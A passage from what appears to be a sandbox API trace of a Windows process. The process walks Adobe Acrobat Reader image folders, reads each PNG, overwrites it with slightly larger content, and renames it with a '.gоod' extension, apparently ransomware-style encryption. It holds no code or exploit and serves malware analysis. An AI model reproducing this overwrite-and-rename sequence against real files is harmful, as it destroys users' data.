ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.491] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0173.491] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0173.491] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0173.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0173.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0173.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark", lpFilePart=0x0) returned 0x74 [0173.491] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0174.139] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.140] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1 [0174.142] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1 [0175.696] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.png", cAlternateFileName="ARROW-~1.PNG")) returned 1 [0175.696] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.png", cAlternateFileName="")) returned 1 [0175.696] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="hscroll-thumb.png", cAlternateFileName="HSCROL~1.PNG")) returned 1 [0175.696] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0175.697] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0175.697] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0175.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0175.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0175.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0175.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark", lpFilePart=0x0) returned 0x74 [0175.698] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0175.698] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.png", cAlternateFileName="ARROW-~1.PNG")) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.png", cAlternateFileName="")) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="hscroll-thumb.png", cAlternateFileName="HSCROL~1.PNG")) returned 1 [0175.700] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0175.700] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 0 [0175.700] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0175.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0175.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0175.701] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", lpFilePart=0x0) returned 0x83 [0175.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0175.701] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png"), fInfoLevelId=0x0, lpFileInformation=0x3846110 | out: lpFileInformation=0x3846110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129)) returned 1 [0175.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0175.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", lpFilePart=0x0) returned 0x83 [0175.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0175.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0175.702] GetFileType (hFile=0x808) returned 0x1 [0175.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0175.702] GetFileType (hFile=0x808) returned 0x1 [0175.702] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x129 [0175.702] ReadFile (in: hFile=0x808, lpBuffer=0x38465d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x38465d8*, lpNumberOfBytesRead=0x1fdea558*=0x129, lpOverlapped=0x0) returned 1 [0175.704] CloseHandle (hObject=0x808) returned 1 [0175.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", lpFilePart=0x0) returned 0x83 [0175.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0175.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0175.992] GetFileType (hFile=0x808) returned 0x1 [0175.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0175.992] GetFileType (hFile=0x808) returned 0x1 [0175.992] WriteFile (in: hFile=0x808, lpBuffer=0x38be058*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x38be058*, lpNumberOfBytesWritten=0x1fdea468*=0x130, lpOverlapped=0x0) returned 1 [0175.993] CloseHandle (hObject=0x808) returned 1 [0175.993] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png", lpFilePart=0x0) returned 0x83 [0175.994] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png.gоod", lpFilePart=0x0) returned 0x88 [0175.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0175.994] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x651bb5bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0175.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0175.994] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png.gоod")) returned 1 [0175.995] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", lpFilePart=0x0) returned 0x83 [0175.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0175.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png"), fInfoLevelId=0x0, lpFileInformation=0x38bf460 | out: lpFileInformation=0x38bf460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129)) returned 1 [0175.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0175.995] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", lpFilePart=0x0) returned 0x83 [0175.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0175.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0175.996] GetFileType (hFile=0x808) returned 0x1 [0175.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0175.996] GetFileType (hFile=0x808) returned 0x1 [0175.996] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x129 [0175.996] ReadFile (in: hFile=0x808, lpBuffer=0x38bf928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x38bf928*, lpNumberOfBytesRead=0x1fdea558*=0x129, lpOverlapped=0x0) returned 1 [0175.997] CloseHandle (hObject=0x808) returned 1 [0176.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", lpFilePart=0x0) returned 0x83 [0176.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0176.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0176.156] GetFileType (hFile=0x808) returned 0x1 [0176.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0176.156] GetFileType (hFile=0x808) returned 0x1 [0176.156] WriteFile (in: hFile=0x808, lpBuffer=0x39373a8*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x39373a8*, lpNumberOfBytesWritten=0x1fdea468*=0x130, lpOverlapped=0x0) returned 1 [0176.157] CloseHandle (hObject=0x808) returned 1 [0176.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png", lpFilePart=0x0) returned 0x83 [0176.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png.gоod", lpFilePart=0x0) returned 0x88 [0176.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0176.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, 